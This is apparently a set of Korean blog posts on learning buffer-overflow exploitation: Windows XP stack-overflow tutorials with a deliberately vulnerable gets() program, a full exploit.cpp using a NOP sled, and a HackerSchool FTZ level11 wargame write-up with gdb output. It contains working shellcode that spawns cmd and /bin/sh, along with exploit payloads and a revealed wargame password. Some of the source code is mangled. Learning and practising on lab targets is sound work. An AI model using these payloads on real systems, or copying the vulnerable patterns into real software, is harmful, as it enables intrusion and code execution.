"\x80\x44\x24\x03\x1f" // ADD BYTE PTR SS:[ESP 3],1F

"\x54" // PUSH ESP

"\x68\xfa\xca\x71\x7c" // PUSH 7c71cafa // kernel32의 exitprocess 함수 이다.

"\x80\x44\x24\x02\x10" // ADD BYTE PTR SS:[ESP 2],10

"\x68\xad\x41\x76\x7c" // PUSH 7C7641ad // ketnel32의 winexec 함수 이다.

"\x80\x44\x24\x02\x10" // ADD BYTE PTR SS:[ESP 2],10

"\x80\x6c\x24\x01\x1e" // sub BYTE PTR SS:[ESP 1],1e

"\xc3\x90"; // RETN




그럼 쉘코드고 해결이 되었으니 다시 돌아오자


위에서 취약한 프로그램을 알아봤으니, 이번엔 exploit을 알아보자


코드를 작성하기 이전, 사전으로 조사할것이 있다.


인자들이 어디에 배치가 되나 알아봐야 한다.



취약한 프로그램을 작동시키고 argument 에 적당히 104번



리턴어드레드가 0x43434343 으로 바뀌었다.


그렇다면 100바이트는 아무거나 채워주고 101~104바이트까지는 쉘코드가 있는 영역으로 돌려준다


그리고 오른쪽 아래에 스택 메모리 덤프 부분이 있는데 모두다 0x41로 덮인게 보일것이다


그것이 지금 약간 밝게 빛나는 리턴어드레스까지 덮엇는데, win xp에선 할당되는 영역과 주소가 모두다 같을것이다.


즉, 쉘코드를 담든, A 를 담든 nop 을 넣든 넣어지기 시작하는 주소는 같을것이라는 뜻이다.


그리고 확인해본 결과 쉘코드가 넣어지는 구간이 여러개인것을 발견했다.


그래서 원하는 구간에 넣으면 된다.




약간 위로 올려보면 0x0012faa4 부분이 있다.


이곳부터도 역시 쉘코드가 담길것이다.


그러면 exploit 을 작성해보자.


exploit.cpp


#include

#include

#include

#include


//execute_command

char shellcode[]=

"\x68\x63\x6d\x64\x01" // PUSH 01646D63

"\x80\x44\x24\x03\x1f" // ADD BYTE PTR SS:[ESP 3],1F

"\x54" // PUSH ESP

"\x68\xfa\xca\x71\x7c" // PUSH 7c71cafa68

"\x80\x44\x24\x02\x10" // ADD BYTE PTR SS:[ESP 2],10

"\x68\xad\x41\x76\x7c" // PUSH 7C7641ad

"\x80\x44\x24\x02\x10" // ADD BYTE PTR SS:[ESP 2],10

"\x80\x6c\x24\x01\x1e" // sub BYTE PTR SS:[ESP 1],1e

"\xc3\x90"; // RETN


int main(int argc, char *argv[])

{

char payload[500];


if( argc < 2 )

{

printf("Exception");

exit(1);

}

int ebp = atoi(argv[1]);


memset(payload, 0, sizeof(payload)); // payload 초기화

memset(payload, 0x90, sizeof(payload)); // payload를 nop으로 채우고

memcpy(payload 56, shellcode, strlen(shellcode)); // 56만큼 떨어진 부분부터 shellcode를 위치시킨다.

*(long *) &payload[ebp] = 0x12fac1; // Return address 이다. 이부분을 조작해 shellcode 로 연결시킬것이다.

execl("gets.exe", "gets.exe", payload, 0); // execl 함수를 payload 를 인자로 넘겨서 실행시킨다.

return 0;

}

//end of source



사진을 재탕해서 보면 지금 선택 되어진 0x0012fac0 에는 nop 으로 씌워질것이다.


nop이 시작되는 처음 부분부터도 좋고 중간도 좋다.


일단 위 소스에서는 나는 0x0012fac1로 정해둿다.


이 포스팅을 보는 분들을 위해서 쉘코드를 주입시키고 그 스택메모리에 들어가봤다.




최상단 주소 0012fac1 에는 nop 이 박혀있고 썰매를 타고 내려가다 보면


약 9줄의 쉘코드가 보인다. 저 쉘코드를 지나면 CMD 가 실행이 될것이다.,


그러면 이제 모두다 완성이 되었다.


실제로 공격을 해보자.


시작 - 실행 - cmd


cd exploit 프로그램의 경로로 이동해서 exploit을 실행한다




수시간동안의 삽질과 다른 블로거들의 글을 보면서.. ㅠㅠ


성공적으로 쉘을 획득했다!!



** 틀린정보가 있으면 꼭 지적해주세요.


Basic of real world exploit [윈도우 BOF문서] - http://pgnsc.tistory.com/290

신고

'0x10 정보보안 > 0x15 System' 카테고리의 다른 글

LOB level 6~10 Exploit  (0) 2013.01.18
LOB level 1~5 Exploit  (0) 2013.01.17
windows buffer overflow - exploit #1  (0) 2013.01.06
Windows Buffer Overflow 기초  (2) 2013.01.05
hackerschool FTZ level11 Write up  (0) 2012.11.03
HackerSchool LOB 이미지 파일  (7) 2012.10.28

댓글 0

안녕하세요 sweetchip입니다.


시스템 해킹부분에선 앞으로 리눅스와 윈도우의 버퍼오버플로우를 다룰 예정이고


주로 제가 공부했던 내용을 위주로 포스팅을 해 나갈 예정입니다.



2013년 목표는 1개이상의 인지도가 높은 프로그램의 취약점을 이용하여 Exploit 을 성공하는것입니다 ㅋㅋ



아무래도.. 지금은 처음이다 보니 기초적인것을 해야 합니다.


일단 오늘 할것은 너무나도 취약해보이는 프로그램을 공격해 보는것입니다.


심지어 프로그램 안에 쉘코드도 장착된 상태입니다.


그냥 백도어라고 합시다 ㅋㅋㅋ


일단 쉘코드는 오늘.. 음.. 시간으로 치면 어제 만든 Command 를 띄우는 쉘코드를 이용할 예정입니다.


쉘코드를 만드는 방법은 따로 나중에 포스팅 하겠습니다.


\x55

\x8b\xec

\x83\xec\x44

\x53

\x56

\x57

\xc6\x45\xfc\x63

\xc6\x45\xfd\x6d

\xc6\x45\xfe\x64

\xc6\x45\xff\x00

\x8b\xf4

\x6a\x01

\x8d\x45\xfc

\x50

\xb8\xad\x23\x86\x7c

\xff\xd0

\x6a\x01

\xb8\xfa\xca\x81\x7c

\xff\xd0


깔끔하게 정리한것


"\x55\x8b\xec\x83\xec\x44\x53\x56\x57\xc6\x45\xfc"

"\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\xc6\x45\xff"

"\x00\x8b\xf4\x6a\x01\x8d\x45\xfc\x50\xb8\xad\x23"

"\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff"

"\xd0"; // 곧바로 char 에 붙여도 되도록 해놨습니다.


좋습니다.


이제 쉘코드 자체 내장 취약한 프로그램 백도어를 만들어봅시다.


간단하게 BOF의 원리만 알아가는 단계니까요~


// gets.cpp

// sweetchip

// 2013.01.04

// Winxp sp3 VS6.0 release_mode


#include


char wtfisthis[100] =

"\x55\x8b\xec\x83\xec\x44\x53\x56\x57\xc6\x45\xfc"

"\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\xc6\x45\xff"

"\x00\x8b\xf4\x6a\x01\x8d\x45\xfc\x50\xb8\xad\x23"

"\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff"

"\xd0\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; //쉘코드 뒤에 임의로 \x41을 붙였습니다. 찾기쉽도록 ㅎㅎ;


int main()

{

char helloworld[10];

printf("당신의 이름을 입력해 주세요 :D : ");

gets(helloworld); // Vuln!

printf("\n\n아하! 당신의 이름은 %s 이군요. 반갑습니다. :D",helloworld);

getchar();

}


gets 부분에서 취약점이 일어나는 매우 간단한 프로그램입니다.


리눅스 bof 를 배울때도 자주보던 코드입니다.


helloworld 라는 char 배열에는 10개까지 들어갈수 있는데, gets 는 글자수 제한이 없어서 무한정 들어갈수 있습니다.


그러다 보면 helloworld를 넘어 더미, 리턴어드레스 등을 덮어버릴수 있는 무책임한 함수입니다


실제오 10년전엔 편의상 이 코드를 쓰는 개발자가 많았다고 합니다. 그리고 해커들의 대상이 되었기도 합니다.


스택의 구조는 설명하지 않고 바로 Payload 구성으로 들어가겠습니다.


10byte 2byte 4byte

char[] dummy ret


VS6.0 이라 security_cookie 가 붙지 않습니다. [만약 붙어도 우회가 가능합니다]


12바이트까지는 아무글자나, 그리고 4바이트는 리턴어드레스로 쉘코드가 존재하는 메모리 영역으로 돌려놓는다면 결국 쉘코드가 작동할것입니다.




최대 10개까지 넣을수 있는 char 배열에 저렇게 gets 로 넣어버리면 bof로 프로그램이 뻗어버린다.


본격적으로 분석해보자.


프로그램을 끄고 올리로 다시 분석을 시작했다.


처음엔 프로그램이 돌아가는 과정을 알기위해서 취약점이 존재하는 함수에 브레이크 포인트를 설정했다.



정상적으로 aaaaaaaaaa 을 집어넣고 [더미에 \0이 붙어서 오류는 나지 않는다.]


함수 끝의 리턴어드레스를 확인하면 0x00401321 이다.



위 사진처럼 매우 정상적으로 리턴어드레스에 돌아왔다.


자, 그러면 이 백도어에 내장된 쉘코드의 위치를 알아보자.


쉘코드는 함수로 쓰이지 않고 char 배열로 선언되어 있으므로 메모리 상에 존재한다.



아까 위에서 쉘코드를 봣듯이 끝부분에 \x41을 봤을것이다. 이것을 지워도 안지워도 상관없지만 위 사진처럼 쉽게 찾기위해서 넣어둔 것이다


참고로 0x41은 'A' 와 같은 글자이다.



A 덕분에 쉘코드를 쉽게 찾을수 있었다.


메모리 상의 주소는 0x00406030 이었고, 리턴어드레스를 저쪽으로 돌려준다면 Exploit 을 성공할것이다.


기대된다.



Payload


12BYTE 2BYTE 4BYTE

char[] dummy RET


0x00406030 이므로 리틀엔디안 방식으로 넣는다. 하지만 \x 이렇게 넣을수 없으므로, 문자열로 변환하여 집어넣는다. 0x30 = '0', 0x60= '`', 0x40='@' 0x00 = ''


이므로 AAAAAAAAAAAA0`@ 를 넣어서 리턴어드레스틑 0x00406030 으로 돌려버린다.



BOF 공격으로 성공적으로 return Address 는 0x00406030 으로 변조되고 이 함수를 나가면 쉘코드로 진입할것이다.



이것이 메모리 영역에 존재하는 쉘코드이다.


코드상의 주소는 0x00406030 이므로 제대로 들어온것이다 만세!


그러면 F9를 눌러서 쉘코드를 실행시키자.



리턴어드레스를 쉘코드가 존재하는 부분으로 돌림으로서, 성공적으로 쉘을 획득했다.


이것이 windows buffer overflow 의 기초이다. 물론 나도 배우고 있는 입장이지만..


리눅스와는 달리 친숙한 윈도우이므로 감회가 새롭다.



mkdir 로 쉘을 얻은것을 인증!



그런데 이 포스팅을 쓰는 도중 신기한것을 발견했다.



나는 분명히 한번 이름만 입력을 받고 종료하도록 만든 프로그램이 이렇게 작동을 하고 있는것이다.


인공지능인가 의심을 했지만, 올리디버거로 다시 살펴봤다.


일단 입력한 문자열은 aaaaaaaaaaaa 였다.


10byte 2byte 4byte

char[] dummy ret


중 char배열과 더미를 덮는 12바이트의 a였다.


이쯤되면 눈치채는 사람이 있을것이다.



리턴어드레스 값이 이상하다. 분명 0x00401321 이어야 할것이 0x00401300 이라는것이다.



설마해서 가봤더니 정말 현재 취약점이 존재하는 함수보다도 더 뒤로 가버린 것이다.


그렇다면 리턴어드레스가 조작이 되었다는 것이다.


잠시 생각을 해보니, 컴파일러는 배열의 끝을 구분하기 위해서 0x00 널바이트를 넣는다.


내가 입력한것은 12바이트 문자이다. 따라서 배열을 구분하기 위해서 13바이트 부분에 널바이트가 들어가서 리턴어드레스가 변조된것이다.


게다가 리틀엔디안 방식이라서 00이 맨 뒤로 들어가서 실제로는 0x00401321 가 0x00401300 으로 변해버린것이다.



그렇다면 a를 11바이트 만큼 넣었다.


이러면 정상적으로 돌아갈것이다.



리턴 어드레스는 정상적으로 돌아왔다.



리턴어드레스에 따라 정상적으로 이동했다.


EIP 값도 0x00401321 으로 제대로 되었다.


생각치도 못하게 신기한[?] 발견을 했다.. ㅋㅋ


Basic of real world exploit [윈도우 BOF문서] - http://pgnsc.tistory.com/290

신고

'0x10 정보보안 > 0x15 System' 카테고리의 다른 글

LOB level 1~5 Exploit  (0) 2013.01.17
windows buffer overflow - exploit #1  (0) 2013.01.06
Windows Buffer Overflow 기초  (2) 2013.01.05
hackerschool FTZ level11 Write up  (0) 2012.11.03
HackerSchool LOB 이미지 파일  (7) 2012.10.28
HackerSchool LOB Level1 Exploit  (1) 2012.09.18

Comment 2

  • deamon1332
    2013.02.18 13:39 신고 수정 답글

    윈도우즈 BOF라.. 비슷하네요! ㅋ

    • 2013.02.19 21:27 신고 수정

      ㅎㅎ 고전적인 BOF 방법입니다. EIP를 쉘코드가 있는 주소로 변조...

      다양한 기법을 더 다루려는데 시간이 잘 나질 않네요.

      감사합니다.


안녕하세요 sweetchip입니다.


오랜만에 시스템 해킹문제를 풀어봤는데 생각보다 기억이 잘 안나서 더듬더듬 하면서 30분 만에 성공했습니다.


nop 썰매를 사용했엇는데 많이 헷갈리네요 ~_~


개인적으로 시스템 해킹이 가장 어려운거같네요.. 대회나가서도 한문제도 못풀고 흑흑..



먼저 ftz에 접속합니다


ID : level11

pass : what!@#$?



[level11@ftz level11]$ cat hint


#include

#include


int main( int argc, char *argv[] )

{

char str[256];


setreuid( 3092, 3092 );

strcpy( str, argv[1] );

printf( str );

}


str에 256만큼 할당이 되어있습니다.


취약점은 밑줄 친 부분에서 일어나게 됩니다.


strcpy는 문자열을 그대로 가져다 붙이는 건데요, 문자열 길이 검사를 하지않아 오버플로우 취약점이 발생됩니다.


어! 가만보니


[level11@ftz level11]$ cat hint


#include

#include


int main( int argc, char *argv[] )

{

char str[256];


setreuid( 3092, 3092 );

strcpy( str, argv[1] );

printf( str );

}


포맷스트링버그 취약점도 있습니다.


하지만 오늘은 버퍼오버플로우 취약점을 이용해서 풀이해보도록 하겠습니다.


[level11@ftz level11]$ gdb attackme

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x08048470

: push �p

0x08048471

: mov %esp,�p

0x08048473

: sub $0x108,%esp // 0x108만큼 할당.

0x08048479

: sub $0x8,%esp

0x0804847c

: push $0xc14

0x08048481

: push $0xc14

0x08048486

: call 0x804834c

0x0804848b

: add $0x10,%esp

0x0804848e

: sub $0x8,%esp

0x08048491

: mov 0xc(�p),�x

0x08048494

: add $0x4,�x

0x08048497

: pushl (�x)

0x08048499

: lea 0xfffffef8(�p),�x

0x0804849f

: push �x

0x080484a0

: call 0x804835c 취약점 발생부분

0x080484a5

: add $0x10,%esp 이곳에 BreakPoint

0x080484a8

: sub $0xc,%esp

0x080484ab

: lea 0xfffffef8(�p),�x

0x080484b1

: push �x

0x080484b2

: call 0x804833c

0x080484b7

: add $0x10,%esp

0x080484ba

: leave

0x080484bb

: ret

0x080484bc

: nop

0x080484bd

: nop

0x080484be

: nop

0x080484bf

: nop

End of assembler dump.

(gdb)


대강 이런 코드가 있습니다.


주석은 위에 달아 둿습니다.


(gdb) b *main 53

Breakpoint 1 at 0x80484a5

(gdb) run `perl -e 'print "\x90"x264'`

Starting program: /home/level11/attackme `perl -e 'print "\x90"x264'`


Breakpoint 1, 0x080484a5 in main ()

(gdb) x/64

0x0: Cannot access memory at address 0x0

(gdb) x/64 $esp

0xbffff8b0: 0xbffff8c0 0xbffffb1d 0xbffff8e0 0x00000001

0xbffff8c0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff8d0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff8e0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff8f0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff900: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff910: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff920: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff930: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff940: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff950: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff960: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff970: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff980: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff990: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff9a0: 0x90909090 0x90909090 0x90909090 0x90909090

(gdb)

0xbffff9b0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff9c0: 0x90909090 0x90909090 0xbffff900 0x40033917

0xbffff9d0: 0x00000002 0xbffffa14 0xbffffa20 0x4001582c

0xbffff9e0: 0x00000002 0x08048370 0x00000000 0x08048391

0xbffff9f0: 0x08048470 0x00000002 0xbffffa14 0x080482e4

0xbffffa00: 0x08048500 0x4000c660 0xbffffa0c 0x00000000

0xbffffa10: 0x00000002 0xbffffb06 0xbffffb1d 0x00000000

0xbffffa20: 0xbffffc26 0xbffffc44 0xbffffc4f 0xbffffc5f

0xbffffa30: 0xbffffc6d 0xbffffc91 0xbffffca4 0xbffffcb7

0xbffffa40: 0xbffffcc4 0xbffffe87 0xbffffea4 0xbffffee7

0xbffffa50: 0xbffffefc 0xbfffff0e 0xbfffff1f 0xbfffff30

0xbffffa60: 0xbfffff38 0xbfffff4b 0xbfffff6a 0xbfffff7a

0xbffffa70: 0xbfffffae 0xbfffffd0 0x00000000 0x00000010

0xbffffa80: 0x0febfbff 0x00000006 0x00001000 0x00000011

0xbffffa90: 0x00000064 0x00000003 0x08048034 0x00000004

0xbffffaa0: 0x00000020 0x00000005 0x00000006 0x00000007

(gdb)


0xbffff8c0 부터 nop이 저장이 되기 시작합니다.

같은말로 char로 선언된 str은 저곳부터 저장하기 시작합니다.

그러므로 우리는 str에 쉘코드를 넣고 리턴어드레스를 0xbffff8c0 로 돌리면 exploit 을 성공할것입니다.

이제 공격을 할 차례입니다.

저는 nop 썰매를 이용할 예정이구요,

code[264] sfp[4] ret[4] = 272byte

nop[100] Shellcode[25] nop[143] ret[4] 총 272 바이트의 공격 구문입니다.


[level11@ftz level11]$ ./attackme `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x143,"\xb0\xf8\xff\xbf"'`
sh-2.05b$

성공적으로 쉘을 획득했습니다.

sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

sh-2.05b$

Password is it is like this

신고

댓글 0


- 파일링크 삭제 [아래 서버에서 다운받으세요]-


포맷을 하고 LOB를 백업하지 않았다는 것을 기억하고 다시 해커스쿨에서 다운받으려는 찰나


링크가 부서져버려서 실망했던 찰나 노트북에서도 LOB를 푼 기억이 나서


곧바로 노트북을 부팅시켜서 원본을 찾았습니다 :D


총 약 110 MB의 용량입니다.


모두 버퍼오버플로우를 정복해보아요 ^-^


https://sweetchip.kr:442/file/TheLordOfTheBOF_redhat.zip

http://sweetchip.kr/file/TheLordOfTheBOF_redhat.zip - 링크수정

http://work.hackerschool.org/DOWNLOAD/TheLordOfTheBOF/TheLordOfTheBOF_redhat.zip


*문제시 삭제하겠습니다.

신고

Comment 7

  • 2014.01.20 17:28 신고 수정 답글

    링크가 둘다 죽었네요 ㅠㅠ 개인적으로 받아볼 수는 없을까요..

  • Depros
    2014.06.17 05:42 신고 수정 답글

    으음. 지금 링크도 죽어버렷네요..

    • 2014.06.17 18:05 신고 수정

      사정상 sweetchip.kr 은 더이상 외부 링크를 지원하지 않습니다.. ㅠㅠ
      감사합니다.

    • rubiya
      2014.08.12 05:46 신고 수정

      loca님이 운영하시는 사이트 http://ba.ckwith.me/#/Images 에서 lob 이미지를 받을 수 있습니다.